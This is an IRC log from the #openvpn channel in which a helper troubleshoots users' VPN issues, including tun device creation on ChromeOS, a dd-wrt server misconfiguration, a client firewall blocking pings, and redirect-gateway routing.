21:34 < pekster> Ultimately to fix the segfault you should build with debugging enabled (ie: CFLAGS="-ggdb -fnoomit-frame-pointer") and not strip debug symbols, and get a stack trace
21:35 < pekster> But, the issue may well have been fixed in the last 2 major point-releases OpenVPN has done, so IMO you're better off working to build a more recent copy of upstream
21:35 < roue> It seg faults with the Chromeos build. With the debian build it just sits and spins forever.
21:35 < roue> I'm not sure whether it's a problem with openvpn or something wrong with the tun/tap device.
21:36 < pekster> Verbose logs would help if you have a build that is not crashing but not doing what you expect
21:36 < roue> pekster if you've got time to take a peek I'll generate them.
21:36 < pekster> Things like segfaults can of course be considered bugs, but "it segfaults" is a bad way to give you any answer other than "some bit of code is broken"
21:36 < roue> sure.
21:37 < pekster> 'verb 4' is a good place to start, and you may need 'verb 5' if the issue is realted to firewalls or one direction of traffic flow being dropped
21:37 < roue> I'll give you logs from the non-segfaulting debian install.
21:37 < roue> do you have a preferred pastebin?
21:38 < pekster> I'm somewhat partial to gist.github.com, but really "anything" is fine. I just dislike pastebin.com's ads, so you'll make me happy using something with non-annoying ads ;)
21:38 < pekster> So no, I don't "really" care
21:45 < roue> https://gist.github.com/anonymous/d6d8e428101af016a09e
21:45 <@vpnHelper> Title: openvpn on chromeos (at gist.github.com)
21:45 < roue> that's the log
21:46 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
21:50 < pekster> A couple lines got mangled there, but line 335 in the actual paste shows that tun0 was opened, but on line 339 you get errors claiming the device doesn't exist reported from ifconfig
21:51 < roue> yeah, i noticed that too. I think chromeos may have a non-functional tun device.
21:52 < roue> I can manually tunctl add a device, but don't really know how to test it.
21:52 < roue> or if there's some way to work around it.
21:53 < pekster> Well, you could see --ifconfig-noexec in the manpage if you want to use custom scripts instead of having openvpn configure the device
21:53 < pekster> That's really just a work-around of the issue, but may work for you. Obviously something is causing ifconfig to fail like that, either the tun0 device not getting created despite successful return when openvpn asks the system to do so, or some issue accessing the device by ifconfig
21:55 < roue> Hmm.. okay, I'll give that a shot. --ifconfig-noexec and --route-noexec .
21:55 < roue> manually configure the device and the route.
21:56 < pekster> See the referenced scripts in those commands, and the section 'SCRIPTING AND ENVIRONMENTAL VARIABLES' will be useful so you know what env-vars you get that your script is expected to deal with for routes passed, etc
21:59 < pekster> I also prefer using iproute2 for configurations (which is not the default build, although some distros may make it their default or provide it as an option) via the --enable-iproute2 command. I'm not sure if your issues is ifconfig, or the actual creation of the dynamic tun device
22:00 < pekster> That's a ./configure option, for clarification
22:01 < roue> pre-creating the tun0 device and starting with ifconfig-noexec and route-noexec seems to have established the connection.
22:02 < roue> don't understand enough about how to manually configure the tun0 device and routes to make it useful but I'll keep working on that.
22:02 < pekster> If you want to go that route, yea. As a client, it needs to configure the address the server is pushing, plus any routes, etc
22:03 < pekster> It's a little odd that it's broken like that, although that is also a release that is years old now
22:03 < pekster> Could be an OS thing too, as you suggested
22:06 < pekster> 1 sec, I'll pastebin you a minimal p2p config you can run locally to test and see if the tun0 setup works in a "most basic" config
22:08 < roue> thanks.,
22:10 < pekster> https://gist.github.com/anonymous/4970097
22:10 <@vpnHelper> Title: gist:4970097 (at gist.github.com)
22:11 < roue> that's from the chromebook to itself?
22:12 < pekster> Right. It'll act as both the "client" and "server" (technically p2p has no notion of client/server, but the "server" is thet one waiting for an inbound connection in this case)
22:12 < pekster> Even doing the top setup only will still cause the tun device to get created
22:13 < pekster> I just included the 2nd part in case you wanted to actually connect to it and try a connectivity test such as pinging the peer from the other instance (firewall needs to allow the traffic too, of course)
22:17 < roue> with --dev tun it's not creating the tun0 device and failing. If I run openvpn --mktun --dev tun0 and tun1 I can specify --dev tun0 (on the first instance and --dev tun1 on teh second and it gets to "Initialization Sequence Completed" on both sides.
22:17 < roue> and I can ping both 10.50.0.1 and 0.2
22:18 < pekster> fyi, the ping normally is sourced from its own IP, so you need to bind the ping to the other peer
22:18 < pekster> but, that's really not part of your issue here
22:18 < pekster> So, something is not working in the handoff between openvpn and the OS to dynamically create the tun device
22:18 < pekster> Maybe that's fixed in a newer version. I'm not really sure it's productive to debug the 2.1.12 release...
22:19 < roue> understood. I can probably build the latest release in my chroot.
22:19 < roue> Is it backward compatible with my 2.1 server ?
22:19 < pekster> Yup
22:19 < pekster> 2.x is back-wards compatible down to 2.0.x, but not 1.x
22:20 < roue> any glaring security issues with the older versions?
22:23 < pekster> Doesn't look like it, but http://openvpn.net/index.php/open-source/documentation/change-log.html is the full changelog
22:23 <@vpnHelper> Title: Changelogs (at openvpn.net)
22:23 < pekster> Besides issues with openssl and such, but on Unix/Linux that's normally handled by dynamic linking; Windonws builds provide their own openssl libs, and is potentially a problem for old versiosn
22:25 < pekster> I also have no clue what "2.1.12" is since upstream never released that
22:25 < pekster> 2.1.4 is the latest in the 2.1.x series
22:25 < pekster> Oh, 2.1_rc11 is in your output, I see
22:26 < roue> I think I got it.
22:26 < roue> manually did the mktun
22:26 < roue> ran openvpn with --ifconfig-noexec and --route-noexec
22:26 < pekster> You are using a version that's nearly 5 years old
22:26 < roue> once the connection was established I ifconfig'd tun0
22:26 < roue> and then manually entered in the route add's .
22:27 < pekster> If it's just the tun-creation issue, you can mktun or use your OS to do that, then maybe ifconfig will work?
22:27 < pekster> Dunno, I'll leave it to you to work through fixing that. And go slap your distro provider for not using a version more recent than 54 months
22:27 < roue> I tried that first, but it dies on the route adding.
22:27 < roue> well... it's debian :)
22:28 < pekster> http://packages.qa.debian.org/o/openvpn.html
22:28 <@vpnHelper> Title: Debian Package Tracking System - openvpn (at packages.qa.debian.org)
22:28 < pekster> 2.1_rc11 is "oldstable"
22:28 < roue> Yeah, my server is Lenny.
22:29 < roue> it's just an old firewall box.
22:29 < roue> I mean, really old.
22:29 < roue> AMD K6 200.
22:29 < roue> I think I bought it in 1997.
22:29 < pekster> I dealt with a similar issue of CentOS having really outdated packages for subversion; I just maintained my own installation through a traditional ./configure --prefix=/usr/local/svn $other_opts && make && make install
22:30 < roue> Yeah, I used to do the same, but this was an if-it-ain't broke situation.
22:30 < pekster> Well, it is broken ;)
22:30 < roue> That server had been up for about a year an a half the last time I had to do anything with it.
22:30 < pekster> But, you have a few options to fix, so you get the choice of how to handle it
22:30 < roue> Actually, I'm pretty sure this isn't an openvpn version issue.
22:31 < pekster> Right, could be completely on the OS side
22:31 < roue> I'm pretty convinced it's a ChromeOS wasn't built for people to go futzing with the root shell.
22:31 < pekster> If the openvpn version is *that* old, my guess is so is the tun driver in the kernel ;)
22:31 < roue> not without being willing to put up with stuff like this.
22:31 < pekster> And related net tools, etc
22:31 < roue> Actually the kernel is 3.4.0
22:32 < pekster> Weird. 4+ year old userspace, and 3.4 kernel....
22:32 < roue> well... okay, maybe not so new. What's it up to now 3.7?
22:33 < pekster> My source distro on my LAN (gentoo) is 3.5.7 for stable kernel, so 3.4 isn't "that" old by comparison
22:37 < roue> I've been meaning to move the firewall off the old box and go with something newer.
22:37 < roue> Even have the hardware lined up, just haven't spent the time on it.
22:37 < roue> I bought one of those pogoplug's. have you seen them?
22:38 < roue> low power draw. run debian. gig ethernet and 4 usb ports.
22:38 < roue> I bought a handful of usb eth adapters.
22:38 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has joined #openvpn
22:39 < pekster> I'm not a fan of USB ethernet as they don't tend to be the most stable things
22:39 < pekster> Plus the 480Mbps limit of USB 2.x is annoying if you have GigE
22:39 < roue> this is so cool. I've got the vpn going to my internal network and X11 forwarding's letting my run firefox and fvwm2 on a chromebook... :)
22:39 < roue> it's some kind of sin.
22:39 < pekster> 12Mbps for USB 1.x, so you gotta be careful there too :P
22:40 < roue> well, my lan is split up a bit and the cable internet isn't too fast in and of itself.
22:40 < pekster> For troubleshooting/temp uses only, I do have two pegasus-chipset USB ethernet, but despite being "10/100 Base-T" supported, it runs at strictly USB 1.1, so it can't go faster than 12Mbps. Oh, plus USB slaughters the CPU as throughput goes up
22:40 < pekster> But, they technically "work"
22:40 < roue> the firewall has a nic the the WAN, one for the internal lan (going to a gig switch) and one for the wireless ap.
22:41 < roue> the wireless is open, but you can't get to the internal lan except through openvpn.
22:41 < roue> so the chromebook had been locked away from my internal file/video/music server until I got this working :)
22:41 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has quit [Remote host closed the connection]
23:07 < roue> thanks much for your help by the way.
23:08 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
23:15 -!- corretico [~luis@190.211.93.38] has quit [Read error: Connection reset by peer]
23:15 -!- raidzz [~raidz@raidz.im] has joined #openvpn
23:15 -!- raidzz is now known as raidz
23:15 -!- raidz [~raidz@raidz.im] has quit [Changing host]
23:15 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
23:15 -!- mode/#openvpn [+o raidz] by ChanServ
23:15 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 246 seconds]
23:17 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
23:17 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
23:39 < roue> still there pekster?
23:40 < roue> just for run I downloaded and built the latest openvpn source in my debian chroot. Same thing happens.
23:41 < pekster> Interesting. I'm not familiar with the debug loglevels above 5 (6+ generate a lot of low-level debug messages) but it's possible one of them is interesting. But, that might all be hidden from openvpn anyway if it's an OS failing
23:42 < roue> it fails when trying to ifconfig tun0. Says SIOCSIFADDR: No such device
23:44 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
23:45 < roue> though actually if I manually mktun and run specifying --dev tun0 it will ifconfig and set the route, so that's progress.
23:48 < pekster> The old version didn't do that, right?
23:53 < tjz> hello guys
23:59 < roue> right
--- Day changed Sun Feb 17 2013
00:01 < pekster> So, progress. You can create the device outside of openvpn and then you may not need ifconfig-noexec
00:01 < pekster> It's still really strange that you can 'openvpn --mktun --dev tun0' but it can't do that during startup. AFAIK it uses the same backend to do that, but I haven't dug into the code in that area enough to know offhand if it's identical
00:25 -!- LifeIsPain [~lip@static-50-53-203-94.bvtn.or.frontiernet.net] has joined #openvpn
00:26 < LifeIsPain> !welcome
00:26 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
00:26 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
00:26 < LifeIsPain> !goal
00:26 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
00:31 < LifeIsPain> As the full on scope of this is more likely to be handled by #dd-wrt, I'm first trying to determine if the UDP port which is being listed to by openvpn server should appear as open when scanned. I have a theory that the configuration isn't opening up the port on my router as it is suppose to, but want to verify that it SHOULD appear as open when scanned and not a black hole
00:35 < pekster> LifeIsPain: That depends more on your firewall. UDP ports don't show as "open" like TCP does as UDP is stateless
00:37 < LifeIsPain> as my dd-wrt is both the firewall and the openvpn server, in theory (with the new config method) it should enable the port, but when I attempt to connect with an openvpn client, I get variations upon timeouts and can't connect
00:38 < pekster> I can't help you with your OS as I don't use dd-wrt. tcpdump the traffic to see if it's even arriving at the server. Remember that tcpdump hooks before netfilter, so it's possible to see tcpdump traffic and still block it at the OS level
00:38 < LifeIsPain> but yea, I thought that it being a UDP may not allow for a method of checking to see if the port itself is being listed to by openvpn
00:39 < LifeIsPain> wait, tcpdump for a udp connection?
00:39 < pekster> ...
00:39 < pekster> tcpdump shows you network traffic. Last I checked, UDP is netwnork traffic
00:39 < pekster> man tcpdump may be of use
00:40 < pekster> Something like 'tcpdump -pnvi eth0 udp port 1194' might be a hint to get you started
00:40 < LifeIsPain> ah, I think I know where you are going with that, I was just thinking of a different use
00:40 < pekster> If you can't get connected, you either aren't listening on the host/port you're connecting to, or have a firewall problem
00:40 < pekster> Both should be easy to fix
00:42 < LifeIsPain> thanks for the info there, not to hit it a bit more
00:42 < LifeIsPain> trick is to figure out if it is actually a firewall or a listening issue though
00:42 < pekster> Not really
00:43 < LifeIsPain> configured to be open on the firewall, and have tried multiple ports
00:43 < pekster> 'man netstat'
00:44 < LifeIsPain> no udp listeners running, marvelous
00:44 < LifeIsPain> (on the router)
00:44 < pekster> You used -l?
00:44 < LifeIsPain> yep
00:44 < LifeIsPain> I should be more specific, no UDP on 1194
00:44 < pekster> How do you have "no udp listeners" if your router does DHCP to a LAN? Or do you not use DHCP?
00:44 < pekster> Ah, k
00:45 < pekster> So, your process either isn't running, or not listening on 1194
00:45 < pekster> 'ps aux | grep openvpn' or maybe 'pidof openvpn'
00:45 < pekster> Can't connect to something that isn't running
00:46 < LifeIsPain> aux isn't valid in this case, everything is root
00:46 < LifeIsPain> but yea, no openvpn
00:46 < LifeIsPain> process running
00:46 < pekster> That would preclude connections, yes
01:04 -!- LifeIsPain [~lip@static-50-53-203-94.bvtn.or.frontiernet.net] has quit [Changing host]
01:04 -!- LifeIsPain [~lip@unaffiliated/lifeispain] has joined #openvpn
01:21 < LifeIsPain>  cat /var/log/openvpn
01:21 < LifeIsPain> Options error: --server directive network/netmask combination is invalid
01:21 < LifeIsPain> well, that explains why openvpn isn't running, too bad I can't see what command dd-wrt is trying to run
01:23 < pekster> Ping downstream, or look at the initscript code yourself to figure out how their OS does things
01:24 < pekster> fwiw, I decided I hated the openwrt UCI-centric shipped initscript and just wrote my own that uses standard openvpn config files and supports multiple independently-controlled tunnels
01:26 < LifeIsPain> yep, pinging them already, but this is Idle Relay Chat, may be a while
01:27 < pekster> Take the time to learn how your distro does init maybe. Armed with that knowledge, you might be able to spot the issue or write your own (better) init system that doesn't rely on using a web interface to abstract what openvpn is really doing
01:27 < pekster> At the very least it's often trivial to output the command it's calling with some creative use of echo commands
01:58 < LifeIsPain> so many things to do! But at least I found out if I enable it as TAP instead of TUN, it runs and has the port enabled in the listener
01:59 < pekster> Don't use tap unless you actually need it; it's wasteful in terms of overhead, Ethernet broadcasts add to wowrthless network traffic, and it opens the door to connected clients to perform L2 attacks on the network, such as ARP-spoofing
01:59 < pekster> !tunortap
01:59 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
01:59 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
02:00 < LifeIsPain> yea, I really don't want to use tap
02:02 < LifeIsPain> On the plus side, at least some of the traffic will be filtered if I end up sticking with tap, as I have a switch in the way
02:03 < pekster> huh?
02:03 < pekster> No, switches don't have anything to do with it. OpenVPN acts as a switch in that sense
02:04 < pekster> ARPs are send to the Ethernet broadcast address, ie: FF:FF:FF:FF:FF:FF. Conforming Ethernet switches must send this broadcast to all connected hosts
02:05 < LifeIsPain> I should have known that, this may be why it isn't good to do networking prior to going to sleep ;)
02:17 < LifeIsPain> pekster: well, thanks much for your time, I've got more ammo at least for when I hit this sometime after waking up
02:23 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 255 seconds]
02:48 < LifeIsPain> well, dang, so much for going to sleep, but I have openvpn running if I modify the conf file, dd-wrt was being stupid in how it wrote the server line, so the error was right on
02:48 < LifeIsPain> server 172.24.43.1 255.255.255.0
02:49 < LifeIsPain> changed that .1 to a .0, and it listened to my port and the process stayed running
03:03 -!- izual [~izual@dhcp-133-136.dorms.ntua.gr] has joined #openvpn
03:07 -!- izual [~izual@dhcp-133-136.dorms.ntua.gr] has quit [Remote host closed the connection]
03:44 -!- LifeIsPain [~lip@unaffiliated/lifeispain] has quit [Ping timeout: 276 seconds]
04:03 -!- GabrieleV_ [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Excess Flood]
04:06 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
04:14 -!- Orbi [~opera@109.129.9.231] has joined #openvpn
04:16 -!- rfxn [~teck7@bas1-montreal54-1167956220.dsl.bell.ca] has joined #openvpn
04:25 -!- Orbi [~opera@109.129.9.231] has left #openvpn []
04:28 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
04:35 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Read error: Operation timed out]
04:46 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:25 -!- Orbi [~opera@109.129.9.231] has joined #openvpn
05:35 -!- Changos [~Changos@unaffiliated/changos] has joined #openvpn
05:41 < Changos> Hi guys, I've a problem, I need to connect two subnets. VPN is up, I can make ping from client to any PC on server LAN, but backward It doesn't :s
05:42 < Changos> any idea ?
05:42 < pekster> !serverlan
05:42 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
05:44 < pekster> My guess is a firewall if your ping from VPN client to a server-side LAN IP not the server gives you a reply. Unless you're doing NAT on that traffic
05:45 < Changos> I find on Internet howtos, books, and I tried many configs and nothing :s, add manual routing, client-config-dir ccd, iroute. :s
05:46 < Changos> well, ip forwarding done, route added done
05:46 < Changos> !route_outside_openvpn
05:46 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
05:47 < pekster> What IP can you ping from your VPN client? Is what you're able to ping now the server's LAN IP?
05:47 < pekster> Or can you also ping boxes on the LAN behind the server?
05:48 < pekster> (I think that's what you said is working, just double-checking)
05:48 < Changos> NAT on client firewall, I try it
05:48 < pekster> Not if you want bi-direcitonal traffic...
05:48 < pekster> NAT specifically *breaks* bi-directional traffic
05:49 < pekster> ie: you will never be able to ping VPN clients from server-side LAN clients if you do that
05:49 < Changos> pekster: first question, any ip, second question, sure, any type of icmp is clear on firewall
05:49 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
05:49 < pekster> Okay, so you already have a return-route on the server-side LAN
05:49 < pekster> Your problem is a firewall, not routing
05:50 < pekster> Either on the VPN server, or the VPN client that is firewalling the ping going from a server-LAN system IP to the IP of a VPN client
05:50 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Client Quit]
05:51 < Changos> yeah, ping between each VPN device is done
05:52 < Changos> ping between client to any LAN on server successfull
05:52 < pekster> Right, I got that
05:53 < pekster> And the other way is not working, between the same 2 hosts that are successful in your prior test, right?
05:53 < Changos> ping between any PC on server to LAN IP on client unsuccessful
05:53 < pekster> Yes. As I've already said, this means you have a firewall problem
05:53 < pekster> Is your default gateway on the server-side LAN also your VPN server?
05:56 < Changos> yes, is the same default gw
05:58 < pekster> If the server-LAN default gateway is the same system as your VPN server, then 2 things can be firewalling the ping: your VPN server, or your client
05:59 < pekster> tcpdump first on the server's LAN interface, then on the tun device to make sure the ping is received and goes down the tunnel to the client
06:04 < Changos> ping some PC LAN server to IP LAN client
06:04 < Changos> tcpdump on server
06:04 < Changos> tcpdump -nnvvS
06:04 < Changos> tcpdump: listening on tun0, link-type RAW (Raw IP), capture size 65535 bytes
06:04 < Changos> 07:02:34.708238 IP (tos 0x0, ttl 63, id 0, offset 0, flags [DF], proto ICMP (1), length 84) 192.168.14.74 > 192.168.11.131: ICMP echo request, id 4554, seq 1, length 64
06:04 < Changos> 07:02:35.707905 IP (tos 0x0, ttl 63, id 0, offset 0, flags [DF], proto ICMP (1), length 84) 192.168.14.74 > 192.168.11.131: ICMP echo request, id 4554, seq 2, length 64
06:04 < Changos> echo request but doesn't reply
06:04 < pekster> So, you can see the requests going to the 192.168.11.131 client, but no replies
06:05 < pekster> The client is firewalling the response, or you are not pushing the server-LAN route to the client
06:05 < Changos> exactly
06:05 < pekster> You have a 'push "route 192.168.14.0 255.255.255.0" statement in your server config? (or w/e the netmask is on that LAN)
06:06 < Changos> yesh this line exist on server.conf
06:06 < pekster> Then fix your client to not firewall the ping
06:07 < pekster> Your connection is working just fine. The VPN client is choosing not to reply to the traffic
06:07 < Changos> I've the route on my client that exist lan on server
06:08 < pekster> And what exactly does that have to do with the firewall I've said is your problem?
06:08 < Changos> pekster: yeah, i know it, xDD, but i don't know if the problem is on some config on OpeVPN or firewall o routing on client side
06:08 < Changos> I check my firewall on client side
06:09 < Changos> the static route on client side exist
06:09 < Changos> 192.168.14.0    192.168.9.21    255.255.255.0   UG    0      0        0 tun0
06:09 < Changos> 14.0 LAN server
06:09 < Changos> 9.21 IP VPN client
06:10 < pekster> Yes. We already know this works as you can ping the server-side PC
06:10 < pekster> Your *client* *firewall* is the problem. For the 4th time.
06:10 < pekster> ie: your client is specifically ignoring the ping request, as is common for client firewall configurations
06:12 < Changos> pekster: haha, I check just now my firewall on client
06:13 < pekster> It's fine to leave it on, but you should allow traffic through the firewall you specifically want to accept
06:13 < pekster> You don't "need" pings to work for connectivity, unless you wish to accept and reply to them
06:26 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
06:35 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 244 seconds]
06:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 276 seconds]
06:46 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:03 -!- master_of_master [~master_of@p57B542F9.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
07:05 -!- master_of_master [~master_of@p57B53E8C.dip.t-dialin.net] has joined #openvpn
08:16 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
08:37 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Ping timeout: 244 seconds]
08:45 -!- ade_b [~Ade@koln-5d819626.pool.mediaWays.net] has joined #openvpn
08:45 -!- ade_b [~Ade@koln-5d819626.pool.mediaWays.net] has quit [Changing host]
08:45 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:50 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
08:56 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Ping timeout: 248 seconds]
09:10 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
09:32 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
09:33 -!- b1rkh0ff [~b1rkh0ff@178.77.27.113] has joined #openvpn
09:34 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
09:34 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
09:43 -!- LifeIsPain [~lip@unaffiliated/lifeispain] has joined #openvpn
09:58 -!- openbsdnoob [~openbsdno@91-66-20-106-dynip.superkabel.de] has joined #openvpn
09:58 -!- dannoz [~zirkin@203.sub-70-193-128.myvzw.com] has joined #openvpn
09:58 -!- openbsdnoob [~openbsdno@91-66-20-106-dynip.superkabel.de] has quit [Client Quit]
10:00 < dannoz> I'm trying to use openvpn to browse the web from my laptop while at work via my server at home.  I am able to connect from work via openvpn and see my local samba shares but the other traffic is not being routed through home.  Any hints?
10:00 < dannoz> !paste
10:00 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
10:00 < pekster> This may be of use:
10:00 < pekster> !redirect
10:00 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:00 <@vpnHelper> http://ircpimps.org/redirect.png
10:01 < pekster> Optionally, I also have a setup where I connect via OpenVPN to a cloud server and just point my browser to a proxy there via a FF plugin that manages proxies at the click of a button (FoxyProxy)
10:02 < pekster> ie: only the browser traffic is redirected, and other traffic stays on the local LAN's routing setup
10:02 < dannoz> I have --redirect-gateway enabled.  I have ipforwarding and nat enabled on the server (for home lan) does it need to be specifically enabled for openvpn as well
10:03 < dannoz> !nat
10:03 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
10:03 -!- openbsdnoob [~openbsdno@91-66-20-106-dynip.superkabel.de] has joined #openvpn
10:03 < dannoz> !linnat
10:03 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
10:03 -!- openbsdnoob [~openbsdno@91-66-20-106-dynip.superkabel.de] has quit [Client Quit]
10:04 < pekster> If you have 'push "redirect-gateway"' in the server-config, the client should override the default gateway. It's wise to use the 'def1' flag too, otherwise your local LANs DHCP renewal can wipe out your default route
10:05 < pekster> Given that the directive is pushed from your server, how have you determined it's not going through the VPN interface?
10:08 < dannoz> Using a site such as whatismyip.com doesn't give my home server's IP and using tracert again I see many stops through work
10:09 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
10:09 < pekster> Can you pastebin your server config and client log at 'verb 4' ?
10:12 -!- openbsdnoob [~openbsdno@91-66-20-106-dynip.superkabel.de] has joined #openvpn
10:12 -!- openbsdnoob [~openbsdno@91-66-20-106-dynip.superkabel.de] has quit [Client Quit]
10:13 < dannoz> client:  http://pastebin.com/R1ngSMRY
10:14 < dannoz> server: http://pastebin.com/610cimTp
10:15 < pekster> Gateway should be getting redirected based on line 16 in the client conf, unless logs report failure (which is why I'd like to see client logs as well to verify that)
10:16 < pekster> route output of the client may help confirm that, although there could still be other surprises in the logs
10:16 < pekster> maybe 'ip route show' (Linux) or 'route -4 print' (Windows)
10:16 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:16 < dannoz> Client Log:  http://pastebin.com/s6DWc4SM
10:18 < dannoz> Route on Client:  http://pastebin.com/ieLhCM0e
10:19 < pekster> Double default gateway entries
10:19 < pekster> I'd suggest using 'redirect-gateway def1' instead
10:19 < pekster> That adds two /1 CIDR routes instead of trying to replace the pre-existing default gateway, which leads to strange behaviour like you're seeing
10:20 < dannoz> IOW: only on the server side and not on the client side?
10:20 < pekster> No, you can do 'redirect-gateway' on the client like you are
10:20 < pekster> Optionally the server can use the push directive to push it to the client; the eeffect is the same
10:20 < pekster> Just turn the client config on line 16 to read: redirect-gateway def1
10:21 < pekster> And try that
10:22 < dannoz> testing...
10:23 < dannoz> nice
10:25 < dannoz> Wow... always turns out to be one or two extra characters or a "." in the wrong place.  Thanks a bunch pekster
10:25 < pekster> You will run into issues if you connect from a local network (on the client) that uses 192.168.1.0/24 as is very common with many routers since the ranges will overlap
10:26 < dannoz> any suggestions?
10:27 -!- openbsdnoob [~openbsdno@91-66-20-106-dynip.superkabel.de] has joined #openvpn
10:27 < pekster> Renumber your LAN
10:27 < pekster> Or did you mean suggestions for a network?
10:28 < dannoz> Ahh.. ok.  Will likely change 192.168.1.0/24
10:28 < pekster> If you know in advance you'll only have the client on a non-conflicting LAN it's not a problem, but f.eg, coffee shops may use 192.168.1.0/24
10:28 < pekster> huh, no, not the VPn netwnork
10:28 < pekster> your home LAn that you're pushing a routeu to
10:28 < dannoz> right... if I change home to ... 192.168.169.0/24  all is (likely) good no?
10:29 < pekster> Sure, that's obscure enough to be very unlikely to cause you issues
10:29 < pekster> Oh, "change 192.168.1.0/24" I read as "change to"... confusion not intended
10:30 < pekster> It's not an issue from work where you have a different network, but it may be if you go to someone's home or wifi cafe
10:31 < dannoz> cool thanks again
10:31 -!- dannoz [~zirkin@203.sub-70-193-128.myvzw.com] has quit []
10:34 -!- openbsdnoob [~openbsdno@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
10:50 -!- openbsdnoob [~openbsdno@91-66-20-106-dynip.superkabel.de] has joined #openvpn
10:50 -!- openbsdnoob [~openbsdno@91-66-20-106-dynip.superkabel.de] has quit [Client Quit]
11:19 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
11:28 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
11:37 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
11:51 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
12:03 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has quit [Quit: Ex-Chat]
